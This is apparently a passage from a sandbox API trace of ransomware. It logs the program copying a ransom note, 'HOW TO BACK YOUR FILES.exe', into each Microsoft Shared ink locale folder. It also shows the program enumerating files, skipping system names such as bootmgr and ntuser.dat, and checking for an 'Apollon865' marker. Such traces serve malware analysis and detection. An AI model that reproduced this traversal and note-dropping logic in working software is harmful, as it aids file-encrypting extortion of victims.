	[0076.581] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK"
	[0076.581] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.581] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.591] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b931d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.592] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.592] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.592] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.592] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b931d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.592] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.592] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.592] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.592] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.592] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b931d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.592] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.592] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.592] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.592] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*") returned 58
	[0076.592] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.592] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.593] lstrlenW (lpString="Apollon865") returned 10
	[0076.593] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.593] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU"
	[0076.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592240 | out: hHeap=0x580000) returned 1
	[0076.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU") returned 56
	[0076.593] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU"
	[0076.593] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.597] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b931d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.597] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.597] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.597] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.597] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b931d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.598] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.598] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.598] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.598] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.598] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b931d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b931d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.598] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.598] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.598] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.598] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*") returned 58
	[0076.598] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.598] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.598] lstrlenW (lpString="Apollon865") returned 10
	[0076.598] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.598] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO"
	[0076.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5921c0 | out: hHeap=0x580000) returned 1
	[0076.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0076.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned 56
	[0076.599] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO"
	[0076.599] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.599] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bb9330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.605] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.605] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.605] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.605] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bb9330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.605] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.605] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.605] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.605] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.605] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bb9330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.605] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.606] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.606] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.606] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*") returned 58
	[0076.606] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.606] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.606] lstrlenW (lpString="Apollon865") returned 10
	[0076.606] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.606] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT"
	[0076.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592140 | out: hHeap=0x580000) returned 1
	[0076.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0076.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned 56
	[0076.606] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT"
	[0076.606] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.611] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bb9330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.611] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.611] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.611] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.611] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bb9330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.611] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.611] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.611] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.611] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.611] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bb9330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45bb9330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.611] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.611] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.611] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.612] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.612] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.612] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*") returned 58
	[0076.612] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.612] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.612] lstrlenW (lpString="Apollon865") returned 10
	[0076.612] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.612] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR"
	[0076.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5920c0 | out: hHeap=0x580000) returned 1
	[0076.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0076.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned 56
	[0076.613] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR"
	[0076.613] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.617] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bdf490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.618] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.618] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.618] lstrcmpiW (lpString1=".", lpString2=".") returned 0
